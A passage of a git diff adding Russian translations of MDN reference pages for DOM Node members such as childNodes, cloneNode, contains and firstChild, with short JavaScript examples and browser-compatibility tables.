+<p><var>ndList</var> -- переменная, хранящая список дочерних элементов. Тип этого списка --  {{domxref("NodeList")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// parg -- ссылка на элемент &lt;p&gt;
+
+if (parg.hasChildNodes()) {
+  // Таким образом, сначала мы проверям, не пуст ли объект, есть ли у него дети
+  var children = parg.childNodes;
+
+  for (var i = 0; i &lt; children.length; ++i) {
+    // сделать что-то с каждым внутренним элементом через children[i]
+    // ЗАМЕТКА: Список является ссылкой, Добавление или удаление дочерних элементов изменит список
+  }
+}</pre>
+
+<hr>
+<pre class="brush:js">// Это один из способов удалить все дочерние элементы из элемента
+// box -- ссылка на элемент с детьми
+
+while (box.firstChild) {
+    //Список является ссылкой, то есть он будет переиндексирован перед каждым вызовом
+    box.removeChild(box.firstChild);
+}</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Элементы в коллекции -- объекты, а не строки. Чтобы получить данные из этих объектов, вы должны использовать их свойства (например, <code>elementNodeReference.childNodes[1].nodeName</code> чтобы получить имя, и т. д.).</p>
+
+<p>Объект <code>document</code> обладает 2-мя детьми: декларацией Doctype и корневым элементов, к которому как правило обращаются как <code>documentElement</code>. (В (X)HTML документах это HTML-элемент.)</p>
+
+<p><code>childNodes</code> также включают, например, текстовые узлы и комментарии. Чтобы пропустить их, используйте {{ domxref("ParentNode.children") }} взамен.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{ domxref("Node.firstChild") }}</li>
+ <li>{{ domxref("Node.lastChild") }}</li>
+ <li>{{ domxref("Node.nextSibling") }}</li>
+ <li>{{ domxref("Node.previousSibling") }}</li>
+ <li>{{ domxref("ParentNode.children") }}</li>
+</ul>
diff --git a/files/ru/web/api/node/clonenode/index.html b/files/ru/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..5f1f77d5ed
--- /dev/null
+++ b/files/ru/web/api/node/clonenode/index.html
@@ -0,0 +1,135 @@
+---
+title: Node.cloneNode()
+slug: Web/API/Node/cloneNode
+translation_of: Web/API/Node/cloneNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <strong><code>Node.cloneNode()</code></strong> возвращает дубликат узла, из которого этот метод был вызван.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode(<em><var>deep</var></em>);
+</pre>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>Узел, который будет клонирован.</dd>
+ <dt><em>dupNode</em></dt>
+ <dd>Новый узел, который будет клоном <code>node</code></dd>
+ <dt><em>deep {{optional_inline}}</em></dt>
+ <dd><code>true,</code> если дети узла должны быть клонированы или <code>false</code> для того, чтобы был клонирован только указанный узел.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> в спецификации DOM4 (как реализовано в Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> необязательный аргумент. Если он опущен, метод действует как если бы значение <code>deep</code> было <strong><code>true</code></strong>, по умолчанию используется глубокое клонирование. Для создания поверхностного клонирования, <code>deep</code> должен быть установлен как <code>false</code>.</p>
+
+<p>Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы <code>deep</code> было <strong><code>false</code></strong>. Хотя, это все еще не обязательно, вы всегда должны обеспечить агрументом <code>deep</code>, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.</p>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">    var p = document.getElementById("para1");
+    var p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p id="not-event-listeners">Клонирование узлов копирует все атрибуты и их значения, в том числе собственных (в линию) перехватчиков. Это не копирует пререхватчики событий, добавленных используя <a href="/en-US/docs/DOM/element.addEventListener" title="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> или тех что назначены через свойства элемента (т.е <code>node.onclick = fn</code>).</p>
+
+<p>Дубликат узла, возвращенного <code>cloneNode()</code> не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.</p>
+
+<p><code>Если deep</code> установлен как <code>false</code>, дочерние узлы не клонируются. Любой текст, который содержит узел также не клонируется, как и содержащийся в одном или более дочернем узле {{domxref("Text")}}.</p>
+
+<p>Если <code>deep</code> установлено как <code>true</code>, все поддеревья (включая текст, который может быть потомком узла {{domxref("Text")}}) копируется тоже. Для пустых узлов (т.е {{HTMLElement("img")}} и {{HTMLElement("input")}} элементов) это не имеет значения установлен ли <code>deep</code> как <code>true</code> или <code>false</code>.</p>
+
+<div class="warning"><strong>Внимание:</strong> <code>cloneNode()</code> может привести к дублированию идентфикаторов элементов в документе.</div>
+
+<p>Если исходный узел имеет идентификатор и клон размещен в том же документе, идентификатор должен быть изменен, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, <span id="result_box" lang="ru"><span>в зависимости</span> <span class="hps">от</span></span> будущего имени дубликата.</p>
+
+<p>Чтобы клонировать узел для добавления к другому документу используйте {{domxref("Document.importNode()")}} вместо этого.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> как необязательный параметр</td>
+   <td>
+    <p>Yes</p>
+
+    <p>(По умолчанию <code>false</code>)</p>
+   </td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatVersionUnknown}}</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>Yes</p>
+
+    <p>(По умолчанию <code>false</code>)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> как необязательный параметр</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li>{{Spec("http://w3.org/TR/DOM-Level-2-Core/core.html#ID-3A0ED0A4","DOM Level 2 Core: cloneNode","REC")}}</li>
+ <li>{{Spec("http://w3.org/TR/DOM-Level-3-Core/core.html#ID-3A0ED0A4","DOM Level 3 Core: cloneNode","REC")}}</li>
+ <li><a href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-node-clonenode" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-node-clonenode">DOM4: cloneNode</a> (черновик)</li>
+</ul>
diff --git a/files/ru/web/api/node/comparedocumentposition/index.html b/files/ru/web/api/node/comparedocumentposition/index.html
new file mode 100644
index 0000000000..0be1dac540
--- /dev/null
+++ b/files/ru/web/api/node/comparedocumentposition/index.html
@@ -0,0 +1,89 @@
+---
+title: Node.compareDocumentPosition
+slug: Web/API/Node/compareDocumentPosition
+translation_of: Web/API/Node/compareDocumentPosition
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="Summary" name="Summary">Аннотация</h2>
+<p>Сравнивает позицию текущего узла и другого узла в любом другом документе.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox">node.compareDocumentPosition( otherNode )
+</pre>
+<ul>
+ <li><code>node</code> это узел, который сравнивается</li>
+ <li><code>otherNode</code> это узел, с которым идет сравнение.</li>
+</ul>
+<p>Возвращаемое значение вычисляется как отношение, которое имеется между <code>otherNode</code> и <code>node</code>.</p>
+<h2 id="Notes" name="Notes">Примечание</h2>
+<p>Возвращаемое значение - это битовая маска со следующими значениями:</p>
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>DOCUMENT_POSITION_DISCONNECTED</code></td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_PRECEDING</code></td>
+   <td>2</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_FOLLOWING</code></td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_CONTAINS</code></td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_CONTAINED_BY</code></td>
+   <td>16</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC</code></td>
+   <td>32</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Example" name="Example">Пример</h2>
+<pre class="brush:js">var head = document.getElementsByTagName('head').item(0);
+if (head.compareDocumentPosition(document.body) &amp; Node.DOCUMENT_POSITION_FOLLOWING) {
+  console.log("well-formed document");
+} else {
+  console.log("&lt;head&gt; is not before &lt;body&gt;");
+}
+</pre>
+<div class="note">
+ <p><strong>Замечание:</strong> <em>Из-за того, что результат, возвращаемый </em><code>compareDocumentPosition</code>, является битовой маской, <a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators">побитовый оператор и</a> должен использоваться для осмысленных значений.</p>
+</div>
+<h2 id="Specification" name="Specification">Спецификации</h2>
+<table>
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Комментарий</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-compareDocumentPosition" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-compareDocumentPosition">DOM Level 3</a></td>
+   <td>Рекомендация</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="http://dom.spec.whatwg.org/#dom-node-comparedocumentposition" title="http://dom.spec.whatwg.org/#dom-node-comparedocumentposition">DOM Standard</a></td>
+   <td>Живой стандарт</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Смотрите_также">Смотрите также</h2>
+<ul>
+ <li><code><a href="/en-US/docs/DOM/Node.contains" title="/en-US/docs/DOM/Node.contains">Node.contains</a></code></li>
+ <li><a href="http://ejohn.org/blog/comparing-document-position/" title="http://ejohn.org/blog/comparing-document-position/">John Resig - Comparing Document Position</a></li>
+</ul>
+<p>{{ languages( {"ru-ru": "ru-ru/DOM/Node.compareDocumentPosition" } ) }}</p>
diff --git a/files/ru/web/api/node/contains/index.html b/files/ru/web/api/node/contains/index.html
new file mode 100644
index 0000000000..23e8e561c7
--- /dev/null
+++ b/files/ru/web/api/node/contains/index.html
@@ -0,0 +1,63 @@
+---
+title: Node.contains
+slug: Web/API/Node/contains
+tags:
+  - API
+  - DOM
+  - Method
+  - Node
+translation_of: Web/API/Node/contains
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>Метод <strong><code>Node.contains()</code></strong> возвращает {{jsxref ("Boolean")}} значение, указывающее, является ли узел потомком данного узла, т. е. сам узел, один из его прямых потомков ({{domxref ("Node. childNodes "," childNodes ")}}), один из детей его детей и так далее.</div>
+
+<h2 id="Summary" name="Summary">Синтаксис</h2>
+
+<pre class="syntaxbox">node.contains( otherNode )
+</pre>
+
+<ul>
+ <li><code>node</code> элемент который сравнивается.</li>
+ <li><code>otherNode</code> элемент с которым производится сравнение.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Эта функция проверяет, находится ли элемент в теле страницы.</p>
+
+<pre class="brush:js">function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Node.contains")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Node.compareDocumentPosition")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/firstchild/index.html b/files/ru/web/api/node/firstchild/index.html
new file mode 100644
index 0000000000..b17ea4fb29
--- /dev/null
+++ b/files/ru/web/api/node/firstchild/index.html
@@ -0,0 +1,55 @@
+---
+title: Node.firstChild
+slug: Web/API/Node/firstChild
+translation_of: Web/API/Node/firstChild
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.firstChild</strong></code> только для чтения, возвращающее первый потомок узла в древе или <code>null</code>, если узел является бездетным. Если узел это <code>документ</code>, он возвращает первый узел в списке своих прямых детей.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var childNode</em> = <em>node</em>.firstChild;
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>childNode</code> это ссылка на первый потомок <code>node,</code> если таковой имеется, в противном случае это <code>null</code>.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Этот пример демонстрирует использование <code>firstChild</code> и как этому свойству могут мешать пробелы. Смотрите раздел {{ Anch("Notes") }} для получения дополнительной информации о обработке пробелов в Gecko DOM.</p>
+
+<pre class="brush:html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;</pre>
+
+<p>В данном примере alert выведет '#text', потому что текстовый узел вставлен для сохранения пробела между концом открытого &lt;p&gt; и тега &lt;span&gt;. <strong>Любое </strong>пустое пространство между элементами является причиной вставки узла #text, начиная от единичного пробела, разрыва строки, отступа и так далее.</p>
+
+<p>Другой #text узел вставляется между закрывающими тегами &lt;/span&gt; и &lt;/p&gt;.</p>
+
+<p>Если эти пробелы удаляются из источника,  #text узлы не вставляются и элемент span становится первым потомком обзаца.</p>
+
+<pre class="brush:html">&lt;p id="para-01"&gt;&lt;span&gt;First span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>Теперь alert будет показывать 'SPAN'.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-firstChild">DOM Level 1 Core: firstChild</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></li>
+</ul>
diff --git a/files/ru/web/api/node/getuserdata/index.html b/files/ru/web/api/node/getuserdata/index.html
new file mode 100644
index 0000000000..869ef2618a
--- /dev/null
+++ b/files/ru/web/api/node/getuserdata/index.html
@@ -0,0 +1,113 @@
+---
+title: Node.getUserData()
+slug: Web/API/Node/getUserData
+translation_of: Web/API/Node/getUserData
+---
+<p>{{APIRef("DOM")}}{{ obsolete_header() }}</p>
+
+<p>Метод <code><strong>Node.getUserData()</strong></code> возвращает любого пользователя {{domxref("DOMUserData")}} установленного предварительно на данном узле через {{domxref("Node.setUserData()")}}.</p>
+
+<div class="note">
+<p>Методы <code>Node.setUserData</code> и {{domxref("Node.getUserData")}} больше не доступны для веб-контента. {{domxref("Element.dataset")}} или <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> могут быть использованы вместо него.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>userData</em> = <em>someNode</em>.getUserData(<em>userKey</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>userKey</code> это ключ для выбора определенных данных искомых для данного узла. Больше чем один ключ может быть назначен для данного узла, содержащий свое собственное значение.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var d = document.setUserData('key', 15, null);
+alert(document.getUserData('key')); // 15</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено из спецификации</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("21.0")}}.<br>
+    Удалено в {{CompatGeckoMobile("22.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Метод по-прежнему доступен для chrome скриптов.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.setUserData()")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/haschildnodes/index.html b/files/ru/web/api/node/haschildnodes/index.html
new file mode 100644
index 0000000000..947072dfe6
--- /dev/null
+++ b/files/ru/web/api/node/haschildnodes/index.html
@@ -0,0 +1,37 @@
+---
+title: Node.hasChildNodes()
+slug: Web/API/Node/hasChildNodes
+translation_of: Web/API/Node/hasChildNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <code><strong>Node.hasChildNodes()</strong></code> возвращает {{jsxref("Boolean")}} значение показывающее имеет ли текущий {{domxref("Node")}} <a href="/en-US/docs/Web/API/Node.childNodes" title="DOM/Node.childNodes">дочерние узлы </a>или нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>node.hasChildNodes()</code></pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Следующий пример удаляет первый дочерний узел внутри элемента с id <code>"foo"</code>, если foo имеет дочерние узлы.</p>
+
+<pre class="brush:js;highlight:[3];">var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.childNodes")}}</li>
+ <li>{{domxref("Node.hasAttributes")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/index.html b/files/ru/web/api/node/index.html
new file mode 100644
index 0000000000..5e314a339c
--- /dev/null
+++ b/files/ru/web/api/node/index.html
@@ -0,0 +1,367 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node</code></strong> это интерфейс, от которого наследуют несколько типов DOM, он так же позволяет различным типам быть обработанными(или протестированными).</p>
+
+<p>Следующие интерфейсы полностью наследуют от <code>Node</code> его методы и свойства: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} (which {{domxref("Text")}}, {{domxref("Comment")}}, и {{domxref("CDATASection")}} inherit), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
+
+<p>Эти интерфейсы могут возвращать null в особых случаях, когда методы и свойства не уместны. Они могут сбросить исключение - например, когда добавляются дети к типу узла, у которого не может их существовать.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителей {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} показывающие основной URL. Понятие основного URL изменяется из одного языка в другой; В HTML, это соответствует протоколу , доменному имени и структуре каталогов, все до последнего<code> '/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Не доступно для веб-контента.) Только для чтения. Объект {{ Interface("nsIURI") }}, представляющий базовый URI элемента.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Возвращает живой {{domxref("NodeList")}}, содержащий всех потомков данного узла. Живой {{domxref("NodeList")}} означает то, что если потомки <code>узла</code> изменяются, объект {{domxref("NodeList")}} автоматически обновляется.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}}, представляющий первый прямой узел потомок узла или<code> null,</code> если узел не имеет потомков.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}}, представляющий последний прямой узел потомок узла или <code>null</code>, если узел не имеет потомков.</dd>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от <code>localName</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Пространство имен URI данного узла или <code>null,</code> если нет пространства имен. В Firefox 3.5 и более ранних версиях, HTML элементы не имееют пространства имен. В более поздних версиях, HTML элементы находятся в пространстве имен <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Хотя недавние спецификации требуют <code>namespaceURI</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}} представляющий следующий узел в древе или <code>null,</code> если не такого узла.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий имя <code>узла</code>. Структура имени будет отличаться от типа имени. Например, {{domxref("HTMLElement")}} будет содержать имя соответствующего тега:<code> 'audio'</code> для {{domxref("HTMLAudioElement")}}, узел {{domxref("Text")}} будет строкой <code>'#text'</code> или узел {{domxref("Document")}} будет строкой<code> '#document'</code>.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>{{ Interface("nsIPrincipal") }} представляет основной узел.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Возвращает беззнаковое короткое число <code>(unsigned short</code>) представляющее тип узла. Возможные значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Имя</th>
+    <th scope="col">Значение</th>
+   </tr>
+   <tr>
+    <td><code>ELEMENT_NODE</code></td>
+    <td><code>1</code></td>
+   </tr>
+   <tr>
+    <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>2</code></td>
+   </tr>
+   <tr>
+    <td><code>TEXT_NODE</code></td>
+    <td><code>3</code></td>
+   </tr>
+   <tr>
+    <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>4</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>5</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>6</code></td>
+   </tr>
+   <tr>
+    <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+    <td><code>7</code></td>
+   </tr>
+   <tr>
+    <td><code>COMMENT_NODE</code></td>
+    <td><code>8</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_NODE</code></td>
+    <td><code>9</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_TYPE_NODE</code></td>
+    <td><code>10</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+    <td><code>11</code></td>
+   </tr>
+   <tr>
+    <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>12</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Это {{domxref("DOMString")}}, представляющее значение объектов. Для большинства типов <code>Node</code>, возвращает <code>null</code> и любой набор операция игнорируется. Для узлов типа <code>TEXT_NODE</code> ({{domxref("Text")}} objects), <code>COMMENT_NODE</code> ({{domxref("Comment")}} objects), и <code>PROCESSING_INSTRUCTION_NODE</code> ({{domxref("ProcessingInstruction")}} objects), значение соответствует текстовым данным, содержащихся в объекте.</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Document")}} к которому принадлежит этот узел. Если нет связанного сним документа, возвращает <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
